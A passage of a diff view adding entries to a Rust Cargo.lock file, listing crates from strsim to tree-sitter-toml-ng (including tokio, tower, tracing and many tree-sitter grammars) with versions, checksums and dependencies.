| 4742 | + | "unicode-normalization", | |
| 4743 | + | "unicode-properties", | |
| 4744 | + | ] | |
| 4745 | + | ||
| 4746 | + | [[package]] | |
| 4747 | + | name = "strsim" | |
| 4748 | + | version = "0.11.1" | |
| 4749 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4750 | + | checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" | |
| 4751 | + | ||
| 4752 | + | [[package]] | |
| 4753 | + | name = "subtle" | |
| 4754 | + | version = "2.6.1" | |
| 4755 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4756 | + | checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" | |
| 4757 | + | ||
| 4758 | + | [[package]] | |
| 4759 | + | name = "syn" | |
| 4760 | + | version = "2.0.119" | |
| 4761 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4762 | + | checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" | |
| 4763 | + | dependencies = [ | |
| 4764 | + | "proc-macro2", | |
| 4765 | + | "quote", | |
| 4766 | + | "unicode-ident", | |
| 4767 | + | ] | |
| 4768 | + | ||
| 4769 | + | [[package]] | |
| 4770 | + | name = "syn" | |
| 4771 | + | version = "3.0.3" | |
| 4772 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4773 | + | checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3" | |
| 4774 | + | dependencies = [ | |
| 4775 | + | "proc-macro2", | |
| 4776 | + | "quote", | |
| 4777 | + | "unicode-ident", | |
| 4778 | + | ] | |
| 4779 | + | ||
| 4780 | + | [[package]] | |
| 4781 | + | name = "sync_wrapper" | |
| 4782 | + | version = "1.0.2" | |
| 4783 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4784 | + | checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" | |
| 4785 | + | dependencies = [ | |
| 4786 | + | "futures-core", | |
| 4787 | + | ] | |
| 4788 | + | ||
| 4789 | + | [[package]] | |
| 4790 | + | name = "synstructure" | |
| 4791 | + | version = "0.13.2" | |
| 4792 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4793 | + | checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" | |
| 4794 | + | dependencies = [ | |
| 4795 | + | "proc-macro2", | |
| 4796 | + | "quote", | |
| 4797 | + | "syn 2.0.119", | |
| 4798 | + | ] | |
| 4799 | + | ||
| 4800 | + | [[package]] | |
| 4801 | + | name = "syntect" | |
| 4802 | + | version = "5.3.0" | |
| 4803 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4804 | + | checksum = "656b45c05d95a5704399aeef6bd0ddec7b2b3531b7c9e900abbf7c4d2190c925" | |
| 4805 | + | dependencies = [ | |
| 4806 | + | "bincode", | |
| 4807 | + | "fancy-regex", | |
| 4808 | + | "flate2", | |
| 4809 | + | "fnv", | |
| 4810 | + | "once_cell", | |
| 4811 | + | "onig", | |
| 4812 | + | "plist", | |
| 4813 | + | "regex-syntax", | |
| 4814 | + | "serde", | |
| 4815 | + | "serde_derive", | |
| 4816 | + | "serde_json", | |
| 4817 | + | "thiserror 2.0.19", | |
| 4818 | + | "walkdir", | |
| 4819 | + | "yaml-rust", | |
| 4820 | + | ] | |
| 4821 | + | ||
| 4822 | + | [[package]] | |
| 4823 | + | name = "tempfile" | |
| 4824 | + | version = "3.27.0" | |
| 4825 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4826 | + | checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" | |
| 4827 | + | dependencies = [ | |
| 4828 | + | "fastrand", | |
| 4829 | + | "getrandom 0.4.3", | |
| 4830 | + | "once_cell", | |
| 4831 | + | "rustix 1.1.4", | |
| 4832 | + | "windows-sys 0.61.2", | |
| 4833 | + | ] | |
| 4834 | + | ||
| 4835 | + | [[package]] | |
| 4836 | + | name = "tendril" | |
| 4837 | + | version = "0.5.1" | |
| 4838 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4839 | + | checksum = "5fed54709c5b3a53d09bb1c113ea4f5ceafd1e772ddcb0030a82e1d56c087b08" | |
| 4840 | + | dependencies = [ | |
| 4841 | + | "new_debug_unreachable", | |
| 4842 | + | ] | |
| 4843 | + | ||
| 4844 | + | [[package]] | |
| 4845 | + | name = "terminal_size" | |
| 4846 | + | version = "0.4.4" | |
| 4847 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4848 | + | checksum = "230a1b821ccbd75b185820a1f1ff7b14d21da1e442e22c0863ea5f08771a8874" | |
| 4849 | + | dependencies = [ | |
| 4850 | + | "rustix 1.1.4", | |
| 4851 | + | "windows-sys 0.61.2", | |
| 4852 | + | ] | |
| 4853 | + | ||
| 4854 | + | [[package]] | |
| 4855 | + | name = "thiserror" | |
| 4856 | + | version = "1.0.69" | |
| 4857 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4858 | + | checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" | |
| 4859 | + | dependencies = [ | |
| 4860 | + | "thiserror-impl 1.0.69", | |
| 4861 | + | ] | |
| 4862 | + | ||
| 4863 | + | [[package]] | |
| 4864 | + | name = "thiserror" | |
| 4865 | + | version = "2.0.19" | |
| 4866 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4867 | + | checksum = "09a43598840e33d5b0331f38c5e30d13bb11c11210a4b58f0d9b18a5a5eefcd9" | |
| 4868 | + | dependencies = [ | |
| 4869 | + | "thiserror-impl 2.0.19", | |
| 4870 | + | ] | |
| 4871 | + | ||
| 4872 | + | [[package]] | |
| 4873 | + | name = "thiserror-impl" | |
| 4874 | + | version = "1.0.69" | |
| 4875 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4876 | + | checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" | |
| 4877 | + | dependencies = [ | |
| 4878 | + | "proc-macro2", | |
| 4879 | + | "quote", | |
| 4880 | + | "syn 2.0.119", | |
| 4881 | + | ] | |
| 4882 | + | ||
| 4883 | + | [[package]] | |
| 4884 | + | name = "thiserror-impl" | |
| 4885 | + | version = "2.0.19" | |
| 4886 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4887 | + | checksum = "43cbfe0cf76104d42a574802844187e84a305e531ed54455f11fbde0f10541cd" | |
| 4888 | + | dependencies = [ | |
| 4889 | + | "proc-macro2", | |
| 4890 | + | "quote", | |
| 4891 | + | "syn 3.0.3", | |
| 4892 | + | ] | |
| 4893 | + | ||
| 4894 | + | [[package]] | |
| 4895 | + | name = "thread_local" | |
| 4896 | + | version = "1.1.10" | |
| 4897 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4898 | + | checksum = "1ad99c4c6d32803332c548b1af0540b357b3f5fc0be8f6c6bfe8b2e6ae784070" | |
| 4899 | + | dependencies = [ | |
| 4900 | + | "cfg-if", | |
| 4901 | + | ] | |
| 4902 | + | ||
| 4903 | + | [[package]] | |
| 4904 | + | name = "time" | |
| 4905 | + | version = "0.3.54" | |
| 4906 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4907 | + | checksum = "3e1d5e639ff6bab73cb6885cc7e7b1de96c3f32c68ec55f3952614bec1092244" | |
| 4908 | + | dependencies = [ | |
| 4909 | + | "deranged", | |
| 4910 | + | "num-conv", | |
| 4911 | + | "powerfmt", | |
| 4912 | + | "serde_core", | |
| 4913 | + | "time-core", | |
| 4914 | + | "time-macros", | |
| 4915 | + | ] | |
| 4916 | + | ||
| 4917 | + | [[package]] | |
| 4918 | + | name = "time-core" | |
| 4919 | + | version = "0.1.9" | |
| 4920 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4921 | + | checksum = "9e1c906769ad99c88eaa54e728060edef082f8e358ff32030cb7c7d315e81109" | |
| 4922 | + | ||
| 4923 | + | [[package]] | |
| 4924 | + | name = "time-macros" | |
| 4925 | + | version = "0.2.32" | |
| 4926 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4927 | + | checksum = "7e689342a48d2ea927c87ea50cabf8594854bf940e9310208848d680d668ed85" | |
| 4928 | + | dependencies = [ | |
| 4929 | + | "num-conv", | |
| 4930 | + | "time-core", | |
| 4931 | + | ] | |
| 4932 | + | ||
| 4933 | + | [[package]] | |
| 4934 | + | name = "tinystr" | |
| 4935 | + | version = "0.8.3" | |
| 4936 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4937 | + | checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" | |
| 4938 | + | dependencies = [ | |
| 4939 | + | "displaydoc", | |
| 4940 | + | "zerovec", | |
| 4941 | + | ] | |
| 4942 | + | ||
| 4943 | + | [[package]] | |
| 4944 | + | name = "tinyvec" | |
| 4945 | + | version = "1.12.0" | |
| 4946 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4947 | + | checksum = "bb4ebadaa0af04fab11ae01eb5f9fdb5f9c5b875506e210e71c07873528baa7f" | |
| 4948 | + | dependencies = [ | |
| 4949 | + | "tinyvec_macros", | |
| 4950 | + | ] | |
| 4951 | + | ||
| 4952 | + | [[package]] | |
| 4953 | + | name = "tinyvec_macros" | |
| 4954 | + | version = "0.1.1" | |
| 4955 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4956 | + | checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" | |
| 4957 | + | ||
| 4958 | + | [[package]] | |
| 4959 | + | name = "tokio" | |
| 4960 | + | version = "1.53.1" | |
| 4961 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4962 | + | checksum = "202caea871b69668250d242070849eb495be178ed697a3e98aebce5bc81a0bed" | |
| 4963 | + | dependencies = [ | |
| 4964 | + | "bytes", | |
| 4965 | + | "libc", | |
| 4966 | + | "mio", | |
| 4967 | + | "pin-project-lite", | |
| 4968 | + | "signal-hook-registry", | |
| 4969 | + | "socket2", | |
| 4970 | + | "tokio-macros", | |
| 4971 | + | "windows-sys 0.61.2", | |
| 4972 | + | ] | |
| 4973 | + | ||
| 4974 | + | [[package]] | |
| 4975 | + | name = "tokio-macros" | |
| 4976 | + | version = "2.7.2" | |
| 4977 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4978 | + | checksum = "78773a2a397f451582ce068015985c33193cf6dea8b74d2a639fe457b2f07b0e" | |
| 4979 | + | dependencies = [ | |
| 4980 | + | "proc-macro2", | |
| 4981 | + | "quote", | |
| 4982 | + | "syn 3.0.3", | |
| 4983 | + | ] | |
| 4984 | + | ||
| 4985 | + | [[package]] | |
| 4986 | + | name = "tokio-rustls" | |
| 4987 | + | version = "0.26.4" | |
| 4988 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4989 | + | checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" | |
| 4990 | + | dependencies = [ | |
| 4991 | + | "rustls", | |
| 4992 | + | "tokio", | |
| 4993 | + | ] | |
| 4994 | + | ||
| 4995 | + | [[package]] | |
| 4996 | + | name = "tokio-stream" | |
| 4997 | + | version = "0.1.19" | |
| 4998 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 4999 | + | checksum = "a3d06f0b082ba57c26b79407372e57cf2a1e28124f78e9479fe80322cf53420b" | |
| 5000 | + | dependencies = [ | |
| 5001 | + | "futures-core", | |
| 5002 | + | "pin-project-lite", | |
| 5003 | + | "tokio", | |
| 5004 | + | ] | |
| 5005 | + | ||
| 5006 | + | [[package]] | |
| 5007 | + | name = "tokio-util" | |
| 5008 | + | version = "0.7.19" | |
| 5009 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5010 | + | checksum = "494815d09bf52b5548659851081238f0ca39ff638363907596da739561c62c52" | |
| 5011 | + | dependencies = [ | |
| 5012 | + | "bytes", | |
| 5013 | + | "futures-core", | |
| 5014 | + | "futures-sink", | |
| 5015 | + | "libc", | |
| 5016 | + | "pin-project-lite", | |
| 5017 | + | "tokio", | |
| 5018 | + | ] | |
| 5019 | + | ||
| 5020 | + | [[package]] | |
| 5021 | + | name = "tower" | |
| 5022 | + | version = "0.5.3" | |
| 5023 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5024 | + | checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" | |
| 5025 | + | dependencies = [ | |
| 5026 | + | "futures-core", | |
| 5027 | + | "futures-util", | |
| 5028 | + | "pin-project-lite", | |
| 5029 | + | "sync_wrapper", | |
| 5030 | + | "tokio", | |
| 5031 | + | "tokio-util", | |
| 5032 | + | "tower-layer", | |
| 5033 | + | "tower-service", | |
| 5034 | + | "tracing", | |
| 5035 | + | ] | |
| 5036 | + | ||
| 5037 | + | [[package]] | |
| 5038 | + | name = "tower-http" | |
| 5039 | + | version = "0.6.11" | |
| 5040 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5041 | + | checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840" | |
| 5042 | + | dependencies = [ | |
| 5043 | + | "async-compression", | |
| 5044 | + | "bitflags 2.13.1", | |
| 5045 | + | "bytes", | |
| 5046 | + | "futures-core", | |
| 5047 | + | "futures-util", | |
| 5048 | + | "http", | |
| 5049 | + | "http-body", | |
| 5050 | + | "http-body-util", | |
| 5051 | + | "pin-project-lite", | |
| 5052 | + | "tokio", | |
| 5053 | + | "tokio-util", | |
| 5054 | + | "tower", | |
| 5055 | + | "tower-layer", | |
| 5056 | + | "tower-service", | |
| 5057 | + | "tracing", | |
| 5058 | + | "url", | |
| 5059 | + | ] | |
| 5060 | + | ||
| 5061 | + | [[package]] | |
| 5062 | + | name = "tower-layer" | |
| 5063 | + | version = "0.3.3" | |
| 5064 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5065 | + | checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" | |
| 5066 | + | ||
| 5067 | + | [[package]] | |
| 5068 | + | name = "tower-service" | |
| 5069 | + | version = "0.3.3" | |
| 5070 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5071 | + | checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" | |
| 5072 | + | ||
| 5073 | + | [[package]] | |
| 5074 | + | name = "tracing" | |
| 5075 | + | version = "0.1.44" | |
| 5076 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5077 | + | checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" | |
| 5078 | + | dependencies = [ | |
| 5079 | + | "log", | |
| 5080 | + | "pin-project-lite", | |
| 5081 | + | "tracing-attributes", | |
| 5082 | + | "tracing-core", | |
| 5083 | + | ] | |
| 5084 | + | ||
| 5085 | + | [[package]] | |
| 5086 | + | name = "tracing-attributes" | |
| 5087 | + | version = "0.1.31" | |
| 5088 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5089 | + | checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" | |
| 5090 | + | dependencies = [ | |
| 5091 | + | "proc-macro2", | |
| 5092 | + | "quote", | |
| 5093 | + | "syn 2.0.119", | |
| 5094 | + | ] | |
| 5095 | + | ||
| 5096 | + | [[package]] | |
| 5097 | + | name = "tracing-core" | |
| 5098 | + | version = "0.1.36" | |
| 5099 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5100 | + | checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" | |
| 5101 | + | dependencies = [ | |
| 5102 | + | "once_cell", | |
| 5103 | + | "valuable", | |
| 5104 | + | ] | |
| 5105 | + | ||
| 5106 | + | [[package]] | |
| 5107 | + | name = "tracing-log" | |
| 5108 | + | version = "0.2.0" | |
| 5109 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5110 | + | checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" | |
| 5111 | + | dependencies = [ | |
| 5112 | + | "log", | |
| 5113 | + | "once_cell", | |
| 5114 | + | "tracing-core", | |
| 5115 | + | ] | |
| 5116 | + | ||
| 5117 | + | [[package]] | |
| 5118 | + | name = "tracing-serde" | |
| 5119 | + | version = "0.2.0" | |
| 5120 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5121 | + | checksum = "704b1aeb7be0d0a84fc9828cae51dab5970fee5088f83d1dd7ee6f6246fc6ff1" | |
| 5122 | + | dependencies = [ | |
| 5123 | + | "serde", | |
| 5124 | + | "tracing-core", | |
| 5125 | + | ] | |
| 5126 | + | ||
| 5127 | + | [[package]] | |
| 5128 | + | name = "tracing-subscriber" | |
| 5129 | + | version = "0.3.23" | |
| 5130 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5131 | + | checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" | |
| 5132 | + | dependencies = [ | |
| 5133 | + | "matchers", | |
| 5134 | + | "nu-ansi-term", | |
| 5135 | + | "once_cell", | |
| 5136 | + | "regex-automata", | |
| 5137 | + | "serde", | |
| 5138 | + | "serde_json", | |
| 5139 | + | "sharded-slab", | |
| 5140 | + | "smallvec", | |
| 5141 | + | "thread_local", | |
| 5142 | + | "tracing", | |
| 5143 | + | "tracing-core", | |
| 5144 | + | "tracing-log", | |
| 5145 | + | "tracing-serde", | |
| 5146 | + | ] | |
| 5147 | + | ||
| 5148 | + | [[package]] | |
| 5149 | + | name = "tree-sitter" | |
| 5150 | + | version = "0.25.10" | |
| 5151 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5152 | + | checksum = "78f873475d258561b06f1c595d93308a7ed124d9977cb26b148c2084a4a3cc87" | |
| 5153 | + | dependencies = [ | |
| 5154 | + | "cc", | |
| 5155 | + | "regex", | |
| 5156 | + | "regex-syntax", | |
| 5157 | + | "serde_json", | |
| 5158 | + | "streaming-iterator", | |
| 5159 | + | "tree-sitter-language", | |
| 5160 | + | ] | |
| 5161 | + | ||
| 5162 | + | [[package]] | |
| 5163 | + | name = "tree-sitter-bash" | |
| 5164 | + | version = "0.23.3" | |
| 5165 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5166 | + | checksum = "329a4d48623ac337d42b1df84e81a1c9dbb2946907c102ca72db158c1964a52e" | |
| 5167 | + | dependencies = [ | |
| 5168 | + | "cc", | |
| 5169 | + | "tree-sitter-language", | |
| 5170 | + | ] | |
| 5171 | + | ||
| 5172 | + | [[package]] | |
| 5173 | + | name = "tree-sitter-c" | |
| 5174 | + | version = "0.23.4" | |
| 5175 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5176 | + | checksum = "afd2b1bf1585dc2ef6d69e87d01db8adb059006649dd5f96f31aa789ee6e9c71" | |
| 5177 | + | dependencies = [ | |
| 5178 | + | "cc", | |
| 5179 | + | "tree-sitter-language", | |
| 5180 | + | ] | |
| 5181 | + | ||
| 5182 | + | [[package]] | |
| 5183 | + | name = "tree-sitter-c-sharp" | |
| 5184 | + | version = "0.23.5" | |
| 5185 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5186 | + | checksum = "c1aac67f1ad71de1d6d39708d34811081c26dfa495658de6c14c34200849357c" | |
| 5187 | + | dependencies = [ | |
| 5188 | + | "cc", | |
| 5189 | + | "tree-sitter-language", | |
| 5190 | + | ] | |
| 5191 | + | ||
| 5192 | + | [[package]] | |
| 5193 | + | name = "tree-sitter-cpp" | |
| 5194 | + | version = "0.23.4" | |
| 5195 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5196 | + | checksum = "df2196ea9d47b4ab4a31b9297eaa5a5d19a0b121dceb9f118f6790ad0ab94743" | |
| 5197 | + | dependencies = [ | |
| 5198 | + | "cc", | |
| 5199 | + | "tree-sitter-language", | |
| 5200 | + | ] | |
| 5201 | + | ||
| 5202 | + | [[package]] | |
| 5203 | + | name = "tree-sitter-css" | |
| 5204 | + | version = "0.23.2" | |
| 5205 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5206 | + | checksum = "5ad6489794d41350d12a7fbe520e5199f688618f43aace5443980d1ddcf1b29e" | |
| 5207 | + | dependencies = [ | |
| 5208 | + | "cc", | |
| 5209 | + | "tree-sitter-language", | |
| 5210 | + | ] | |
| 5211 | + | ||
| 5212 | + | [[package]] | |
| 5213 | + | name = "tree-sitter-elixir" | |
| 5214 | + | version = "0.3.5" | |
| 5215 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5216 | + | checksum = "66dd064a762ed95bfc29857fa3cb7403bb1e5cb88112de0f6341b7e47284ba40" | |
| 5217 | + | dependencies = [ | |
| 5218 | + | "cc", | |
| 5219 | + | "tree-sitter-language", | |
| 5220 | + | ] | |
| 5221 | + | ||
| 5222 | + | [[package]] | |
| 5223 | + | name = "tree-sitter-go" | |
| 5224 | + | version = "0.23.4" | |
| 5225 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5226 | + | checksum = "b13d476345220dbe600147dd444165c5791bf85ef53e28acbedd46112ee18431" | |
| 5227 | + | dependencies = [ | |
| 5228 | + | "cc", | |
| 5229 | + | "tree-sitter-language", | |
| 5230 | + | ] | |
| 5231 | + | ||
| 5232 | + | [[package]] | |
| 5233 | + | name = "tree-sitter-haskell" | |
| 5234 | + | version = "0.23.1" | |
| 5235 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5236 | + | checksum = "977c51e504548cba13fc27cb5a2edab2124cf6716a1934915d07ab99523b05a4" | |
| 5237 | + | dependencies = [ | |
| 5238 | + | "cc", | |
| 5239 | + | "tree-sitter-language", | |
| 5240 | + | ] | |
| 5241 | + | ||
| 5242 | + | [[package]] | |
| 5243 | + | name = "tree-sitter-highlight" | |
| 5244 | + | version = "0.25.10" | |
| 5245 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5246 | + | checksum = "adc5f880ad8d8f94e88cb81c3557024cf1a8b75e3b504c50481ed4f5a6006ff3" | |
| 5247 | + | dependencies = [ | |
| 5248 | + | "regex", | |
| 5249 | + | "streaming-iterator", | |
| 5250 | + | "thiserror 2.0.19", | |
| 5251 | + | "tree-sitter", | |
| 5252 | + | ] | |
| 5253 | + | ||
| 5254 | + | [[package]] | |
| 5255 | + | name = "tree-sitter-html" | |
| 5256 | + | version = "0.23.2" | |
| 5257 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5258 | + | checksum = "261b708e5d92061ede329babaaa427b819329a9d427a1d710abb0f67bbef63ee" | |
| 5259 | + | dependencies = [ | |
| 5260 | + | "cc", | |
| 5261 | + | "tree-sitter-language", | |
| 5262 | + | ] | |
| 5263 | + | ||
| 5264 | + | [[package]] | |
| 5265 | + | name = "tree-sitter-java" | |
| 5266 | + | version = "0.23.5" | |
| 5267 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5268 | + | checksum = "0aa6cbcdc8c679b214e616fd3300da67da0e492e066df01bcf5a5921a71e90d6" | |
| 5269 | + | dependencies = [ | |
| 5270 | + | "cc", | |
| 5271 | + | "tree-sitter-language", | |
| 5272 | + | ] | |
| 5273 | + | ||
| 5274 | + | [[package]] | |
| 5275 | + | name = "tree-sitter-javascript" | |
| 5276 | + | version = "0.23.1" | |
| 5277 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5278 | + | checksum = "bf40bf599e0416c16c125c3cec10ee5ddc7d1bb8b0c60fa5c4de249ad34dc1b1" | |
| 5279 | + | dependencies = [ | |
| 5280 | + | "cc", | |
| 5281 | + | "tree-sitter-language", | |
| 5282 | + | ] | |
| 5283 | + | ||
| 5284 | + | [[package]] | |
| 5285 | + | name = "tree-sitter-json" | |
| 5286 | + | version = "0.24.8" | |
| 5287 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5288 | + | checksum = "4d727acca406c0020cffc6cf35516764f36c8e3dc4408e5ebe2cb35a947ec471" | |
| 5289 | + | dependencies = [ | |
| 5290 | + | "cc", | |
| 5291 | + | "tree-sitter-language", | |
| 5292 | + | ] | |
| 5293 | + | ||
| 5294 | + | [[package]] | |
| 5295 | + | name = "tree-sitter-language" | |
| 5296 | + | version = "0.1.7" | |
| 5297 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5298 | + | checksum = "009994f150cc0cd50ff54917d5bc8bffe8cad10ca10d81c34da2ec421ae61782" | |
| 5299 | + | ||
| 5300 | + | [[package]] | |
| 5301 | + | name = "tree-sitter-lua" | |
| 5302 | + | version = "0.2.0" | |
| 5303 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5304 | + | checksum = "5cdb9adf0965fec58e7660cbb3a059dbb12ebeec9459e6dcbae3db004739641e" | |
| 5305 | + | dependencies = [ | |
| 5306 | + | "cc", | |
| 5307 | + | "tree-sitter-language", | |
| 5308 | + | ] | |
| 5309 | + | ||
| 5310 | + | [[package]] | |
| 5311 | + | name = "tree-sitter-md" | |
| 5312 | + | version = "0.3.2" | |
| 5313 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5314 | + | checksum = "17f968c22a01010b83fc960455ae729db08dbeb6388617d9113897cb9204b030" | |
| 5315 | + | dependencies = [ | |
| 5316 | + | "cc", | |
| 5317 | + | "tree-sitter-language", | |
| 5318 | + | ] | |
| 5319 | + | ||
| 5320 | + | [[package]] | |
| 5321 | + | name = "tree-sitter-nix" | |
| 5322 | + | version = "0.3.0" | |
| 5323 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5324 | + | checksum = "4952a9733f3a98f6683a0ccd1035d84ab7a52f7e84eeed58548d86765ad92de3" | |
| 5325 | + | dependencies = [ | |
| 5326 | + | "cc", | |
| 5327 | + | "tree-sitter-language", | |
| 5328 | + | ] | |
| 5329 | + | ||
| 5330 | + | [[package]] | |
| 5331 | + | name = "tree-sitter-php" | |
| 5332 | + | version = "0.23.11" | |
| 5333 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5334 | + | checksum = "f066e94e9272cfe4f1dcb07a1c50c66097eca648f2d7233d299c8ae9ed8c130c" | |
| 5335 | + | dependencies = [ | |
| 5336 | + | "cc", | |
| 5337 | + | "tree-sitter-language", | |
| 5338 | + | ] | |
| 5339 | + | ||
| 5340 | + | [[package]] | |
| 5341 | + | name = "tree-sitter-python" | |
| 5342 | + | version = "0.23.6" | |
| 5343 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5344 | + | checksum = "3d065aaa27f3aaceaf60c1f0e0ac09e1cb9eb8ed28e7bcdaa52129cffc7f4b04" | |
| 5345 | + | dependencies = [ | |
| 5346 | + | "cc", | |
| 5347 | + | "tree-sitter-language", | |
| 5348 | + | ] | |
| 5349 | + | ||
| 5350 | + | [[package]] | |
| 5351 | + | name = "tree-sitter-ruby" | |
| 5352 | + | version = "0.23.1" | |
| 5353 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5354 | + | checksum = "be0484ea4ef6bb9c575b4fdabde7e31340a8d2dbc7d52b321ac83da703249f95" | |
| 5355 | + | dependencies = [ | |
| 5356 | + | "cc", | |
| 5357 | + | "tree-sitter-language", | |
| 5358 | + | ] | |
| 5359 | + | ||
| 5360 | + | [[package]] | |
| 5361 | + | name = "tree-sitter-rust" | |
| 5362 | + | version = "0.24.2" | |
| 5363 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5364 | + | checksum = "439e577dbe07423ec2582ac62c7531120dbfccfa6e5f92406f93dd271a120e45" | |
| 5365 | + | dependencies = [ | |
| 5366 | + | "cc", | |
| 5367 | + | "tree-sitter-language", | |
| 5368 | + | ] | |
| 5369 | + | ||
| 5370 | + | [[package]] | |
| 5371 | + | name = "tree-sitter-scala" | |
| 5372 | + | version = "0.23.4" | |
| 5373 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5374 | + | checksum = "efde5e68b4736e9eac17bfa296c6f104a26bffab363b365eb898c40a63c15d2f" | |
| 5375 | + | dependencies = [ | |
| 5376 | + | "cc", | |
| 5377 | + | "tree-sitter-language", | |
| 5378 | + | ] | |
| 5379 | + | ||
| 5380 | + | [[package]] | |
| 5381 | + | name = "tree-sitter-sequel" | |
| 5382 | + | version = "0.3.11" | |
| 5383 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5384 | + | checksum = "9d198ad3c319c02e43c21efa1ec796b837afcb96ffaef1a40c1978fbdcec7d17" | |
| 5385 | + | dependencies = [ | |
| 5386 | + | "cc", | |
| 5387 | + | "tree-sitter-language", | |
| 5388 | + | ] | |
| 5389 | + | ||
| 5390 | + | [[package]] | |
| 5391 | + | name = "tree-sitter-swift" | |
| 5392 | + | version = "0.7.3" | |
| 5393 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 5394 | + | checksum = "fe36052155b9dd69ca82b3b8f1b4ccfb2d867125ac1a4db1dd7331829242668c" | |
| 5395 | + | dependencies = [ | |
| 5396 | + | "cc", | |
| 5397 | + | "tree-sitter-language", | |
| 5398 | + | ] | |
| 5399 | + | ||
| 5400 | + | [[package]] | |
| 5401 | + | name = "tree-sitter-toml-ng" | |
| 5402 | + | version = "0.7.0" | |
